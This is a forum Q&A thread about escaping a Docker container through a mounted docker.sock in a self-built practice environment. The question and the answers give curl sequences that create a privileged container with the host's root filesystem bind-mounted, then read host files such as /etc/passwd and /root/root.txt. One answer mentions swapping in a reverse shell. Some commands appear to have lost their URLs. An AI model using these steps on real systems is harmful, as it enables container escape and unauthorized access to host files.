I am inside the container, and I am trying to learn escaping from container to host. So I create a vulnerable environment, on which the container is having `/var/run/docker.sock' file inside the container to make API calls.

So I tried to create a container which will mount the path source / to container /host directory. / as this contains the whole file system.

curl -X POST -H "Content-Type: application/json" --unix-socket /run/docker.sock -d '{"Image":"ubuntu:latest", "Cmd":["cat", "/host/etc/passwd"], "Mounts":[{"Type":"bind", "Source":"/", "Target":"/host"}]}' "http://localhost/containers/create?name=escaping"

I start the container

curl -X POST --unix-socket /run/docker.sock "http://localhost/containers/escaping/start"

when I checked the logs by using this

curl --output - --unix-socket /run/docker.sock "http://localhost/containers/escaping/logs?stdout=true"

As you can see, I was cat the /etc/passwd file in the first command, So I thought i would get the host file contents, but when I checked the contents, those were very first containers file content from which I was running the CURL command.

So what am i missing here?

  • You said that the socket is on /var/run/docker.sock in your container but your curl commands point to /run/docker.sock ? Did I miss something?
    – zar3bski
    Commented Nov 20, 2020 at 13:00

2 Answers 2


Api versioning

Ok so, one thing you have to keep in mind is that docker's API changed a lot, especially concerning volumes. How do you deal with this? the same way you would deal with any other REST API interfacing issue: find the version's documentation. First thing you need to check is the API version

curl -X GET --unix-socket /var/run/docker.sock

Read host's files

For this example:

  • I'll stick to v.1.40 (have a look at doc)
  • I want to read host's /root/root.txt.
  • There a docker image available on the system called sandbox:latest
  • I'll mount the entire host's / on the containers /mnt

Create a container with a volume from the host

curl -X POST --unix-socket /var/run/docker.sock "" -d '{"Image":"sandbox:latest", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Volumes":{"/mnt":{}}, "Privileged": true, "HostConfig": {"Binds": ["/:/mnt"]}}' -H "Content-Type: application/json"

gives you a $container-id. The tricky part is this HostConfig field not well documented

{  ...
   "HostConfig": {"Binds": ["/:/mnt"]}

Then start your container

curl  --unix-socket /var/run/docker.sock "${container-id}/start?name=toto" -X POST -H "Content-Type: application/json"

Execute your command

curl -X POST --unix-socket /var/run/docker.sock "${container-id}/exec" -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/root/root.txt"]}' -H "Content-Type: application/json" 

This gives you an $execution-id. You'll then be able to

curl -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock "${execution-id}/start" -d '{}' --output -

Et voilà (--output - is only here so that curl does not freak out because of plain binary). Instead of a cat, you could create a reverse shell (same idea)


Just like any other system, to debug, have a look at the logs

curl -X GET --unix-socket /var/run/docker.sock "${container-id}/logs?stdout=true"

I'd start by saying you're making things a bit tough for yourself by doing this with curl rather than the docker CLI (it's a good thing to learn though)

So I think your problem here is that you've cat'd /etc/passwd inside the container, rather than /host/etc/passwd remember you're mounting the host filesystem with /host as a base, so you need to prepend that path to any files you're looking to get access to.

  • I think he was in a situation were docker cli was not available (it rarely is in containers)
    – zar3bski
    Commented Nov 20, 2020 at 20:48

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .